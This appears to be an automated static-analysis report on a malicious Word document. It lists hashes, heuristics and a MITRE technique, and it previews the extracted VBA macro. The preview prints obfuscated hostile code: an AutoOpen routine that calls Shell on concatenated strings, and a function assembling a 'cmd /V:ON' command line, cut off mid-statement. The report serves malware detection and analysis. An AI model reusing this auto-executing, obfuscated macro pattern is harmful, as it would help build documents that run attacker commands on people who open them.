Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5177660d69c000e5…

MALICIOUS

Office (OLE)

83.6 KB Created: 2018-09-20 07:36:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: cd1109b3e06fe20a856c8b2b6e55e022 SHA-1: 89232d548988f96a1fa01b1fe00c101feefdf7d9 SHA-256: 5177660d69c000e5904fdf592bd50d25af9b7ffa9f12095966052da801e07c05
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a legacy WordBasic AutoOpen macro, indicated by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. The AutoOpen macro is designed to execute automatically when the document is opened, and the OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic confirms it attempts to execute a command. The macro code is heavily obfuscated and truncated, preventing a detailed analysis of its specific actions, but its presence strongly suggests a malicious intent to run arbitrary code.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13432 bytes
SHA-256: 25c3014a17def2f636b9c1cce27862a30fe553af864d612f84acf8f052ae34b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UnOnwtm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const KiuiYaDGo = 0
   Dim ADsSt(4)
ADsSt(0) = Left(qziEEDI, 619) + Right(FbJGXJaE, 255) + Right(FbJGXJaE, 255) + MidB(pABpOm, 753, 966)
ADsSt(1) = Left(qziEEDI, 619) + Mid(twUKt, 833, 625)
ADsSt(2) = Left(qziEEDI, 619) + Left(qziEEDI, 619)
ADsSt(3) = Right(FbJGXJaE, 255) + Right(FbJGXJaE, 255)
   Dim jDizAv(4)
jDizAv(0) = Left(qziEEDI, 619) + Mid(twUKt, 833, 625) + Left(qziEEDI, 619) + Mid(twUKt, 833, 625)
jDizAv(1) = Left(qziEEDI, 619) + MidB(pABpOm, 753, 966) + MidB(pABpOm, 753, 966) + Mid(twUKt, 833, 625)
jDizAv(2) = Left(qziEEDI, 619) + Mid(twUKt, 833, 625)
jDizAv(3) = MidB(pABpOm, 753, 966) + MidB(pABpOm, 753, 966)
   Dim HdswnY(5)
HdswnY(0) = MidB(pABpOm, 753, 966) + MidB(pABpOm, 753, 966)
HdswnY(1) = Mid(twUKt, 833, 625) + Left(qziEEDI, 619) + Mid(twUKt, 833, 625) + MidB(pABpOm, 753, 966)
HdswnY(2) = Right(FbJGXJaE, 255) + Right(FbJGXJaE, 255)
HdswnY(3) = Right(FbJGXJaE, 255) + Left(qziEEDI, 619)
HdswnY(4) = MidB(pABpOm, 753, 966) + MidB(pABpOm, 753, 966)
   Dim YNIzP(5)
YNIzP(0) = Left(qziEEDI, 619) + Mid(twUKt, 833, 625)
YNIzP(1) = Mid(twUKt, 833, 625) + Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255) + Mid(twUKt, 833, 625)
YNIzP(2) = MidB(pABpOm, 753, 966) + Right(FbJGXJaE, 255) + Mid(twUKt, 833, 625) + Left(qziEEDI, 619)
YNIzP(3) = Mid(twUKt, 833, 625) + Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255) + Left(qziEEDI, 619)
YNIzP(4) = MidB(pABpOm, 753, 966) + Left(qziEEDI, 619) + MidB(pABpOm, 753, 966) + MidB(pABpOm, 753, 966)
   Dim QOmNwQ(3)
QOmNwQ(0) = Right(FbJGXJaE, 255) + Left(qziEEDI, 619) + MidB(pABpOm, 753, 966) + Right(FbJGXJaE, 255)
QOmNwQ(1) = Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255) + Left(qziEEDI, 619) + Left(qziEEDI, 619)
QOmNwQ(2) = MidB(pABpOm, 753, 966) + Left(qziEEDI, 619)
   Dim vjidbz(2)
vjidbz(0) = Left(qziEEDI, 619) + Left(qziEEDI, 619)
vjidbz(1) = Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255)
Shell@ QLNNFXUqD + KWsWISQo + wwhjVhudIU + bXniDwlOsEm, KiuiYaDGo
   Dim bQaoQ(4)
bQaoQ(0) = Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255)
bQaoQ(1) = Mid(twUKt, 833, 625) + MidB(pABpOm, 753, 966)
bQaoQ(2) = MidB(pABpOm, 753, 966) + Left(qziEEDI, 619)
bQaoQ(3) = MidB(pABpOm, 753, 966) + Right(FbJGXJaE, 255)
   Dim jmJQWH(5)
jmJQWH(0) = MidB(pABpOm, 753, 966) + MidB(pABpOm, 753, 966) + Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255)
jmJQWH(1) = Left(qziEEDI, 619) + Left(qziEEDI, 619)
jmJQWH(2) = Mid(twUKt, 833, 625) + Mid(twUKt, 833, 625)
jmJQWH(3) = Mid(twUKt, 833, 625) + MidB(pABpOm, 753, 966) + MidB(pABpOm, 753, 966) + Right(FbJGXJaE, 255)
jmJQWH(4) = Right(FbJGXJaE, 255) + Left(qziEEDI, 619)
   Dim kzTdiU(5)
kzTdiU(0) = MidB(pABpOm, 753, 966) + Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255) + Left(qziEEDI, 619)
kzTdiU(1) = Right(FbJGXJaE, 255) + Mid(twUKt, 833, 625)
kzTdiU(2) = Right(FbJGXJaE, 255) + Left(qziEEDI, 619)
kzTdiU(3) = Right(FbJGXJaE, 255) + MidB(pABpOm, 753, 966)
kzTdiU(4) = Mid(twUKt, 833, 625) + Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255) + Right(FbJGXJaE, 255)
   Dim ziuTSY(4)
ziuTSY(0) = Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255)
ziuTSY(1) = Mid(twUKt, 833, 625) + Mid(twUKt, 833, 625)
ziuTSY(2) = MidB(pABpOm, 753, 966) + MidB(pABpOm, 753, 966)
ziuTSY(3) = Left(qziEEDI, 619) + MidB(pABpOm, 753, 966)
End Sub


Attribute VB_Name = "LtDlvkNlMbJAGM"
Function QLNNFXUqD()
Dim EjWzi(3)
EjWzi(0) = Mid(twUKt, 833, 625) + Left(qziEEDI, 619)
EjWzi(1) = Left(qziEEDI, 619) + MidB(pABpOm, 753, 966) + Mid(twUKt, 833, 625) + Right(FbJGXJaE, 255)
EjWzi(2) = Mid(twUKt, 833, 625) + Mid(twUKt, 833, 625)
   Dim dHkWV(2)
dHkWV(0) = Right(FbJGXJaE, 255) + Left(qziEEDI, 619) + Mid(twUKt, 833, 625) + Left(qziEEDI, 619)
dHkWV(1) = Left(qziEEDI, 619) + Mid(twUKt, 833, 625)
CbTkzBEh = CStr(Chr(CleanString(11 + 16 + 5 + 8 + 59))) + "md /V:" + "ON/" + CStr(Chr(CleanString(
... (truncated)

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